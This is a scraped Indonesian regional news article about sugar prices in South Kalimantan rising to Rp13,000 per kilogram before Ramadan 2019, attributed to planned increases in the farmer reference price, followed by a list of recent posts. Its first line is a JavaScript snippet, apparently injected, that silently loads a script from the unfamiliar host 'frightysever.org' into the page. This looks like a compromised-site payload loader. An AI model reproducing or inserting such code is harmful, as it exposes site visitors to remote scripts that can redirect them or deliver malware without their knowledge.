(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Isu HPP Tebu Bikin Harga Gula Naik, Tembus Rp13 Ribu/Kg


BANJARMASIN, Jelang momen Ramadhan, kebutuhan pokok jenis gula di Kalsel mengalami kenaikan harga dipasaran.

Ketua Asosiasi Gula Bersatu Kalsel, H Aftahuddin mengatakan, kenaikan harga gula jelang Ramadhan sendiri akibat dari rencana pemerintah yang ingin menaikkan harga patokan petani (HPP) gula kristal putih ditingkat petani tebu.

“Sekarang harga gula dipasaran untuk ditingkat distributor sudah mencapai Rp12.400 perkilogram, sedangkan untuk eceran malah sudah tembus diangka Rp13.000 perkilogram. Naiknya harga gula sendiri karena adanya isu kenaikan HPP oleh pemerintah,” tegasnya, Selasa (30/4/2019).

Ketua Asosiasi Gula Bersatu Kalsel H Aftahuddin Foto : Arief Rahman

Bagi H Aftah -sapaan akrabnya-, harga gula saat ini boleh dibilang cukup mahal. Karena standarnya harga gula yang dijual ke masyarakat biasanya hanya Rp12.000 perkilogram.

“Tahun ini harga gula lebih tinggi dibanding jelang Ramadhan tahun lalu. Padahal jelang Ramadhan gula sangat dibutuhkan oleh masyarakat maupun pelaku usaha kue musiman,” tambahnya.

Terkait stok sendiri, H Aftah mengaku ditingkatan distributor saat ini masih dikisaran 4.000 ton. Jumlah tersebut sangat cukup untuk memenuhi kebutuhan masyarakat untuk 15 hari kedepan.

“Stok tersebut adalah stok berjalan, artinya terus kita tambah dari Jakarta dan Jawa Timur melalui jalur laut. Kalau stok boleh dibilang mencukupi, namun untuk harga memang sulit kita tekan,” tuturnya.

Sementara itu, Noor Rahmatika, pelaku bisnis kue kering di Banjarmasin mengaku cukup dirugikan dengan adanya kenaikan harga gula dipasaran. Padahal keperluannya terhadap gula jelang Ramadhan sangatlah besar sebagai bahan baku utama untuk membuat aneka kue kering.

Ia pun mengaku terpaksa tetap membeli gula walau pun harganya lebih tinggi dari biasanya. Resikonya ia harus mengurangi margin keuntungan, karena tidak bisa serta merta menaikkan harga jual kue keringnya.

“Kalau menaikkan harga jual dikondisi ekonomi yang serba sulit sekarang, tentunya bisa membuat pelanggan kabur. Jadi lebih baik mengalah dengan mengurangi margin keuntungan saja,” pungkasnya. (arief)

Reporter:Arief
Editor:Bie

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

8 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

9 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.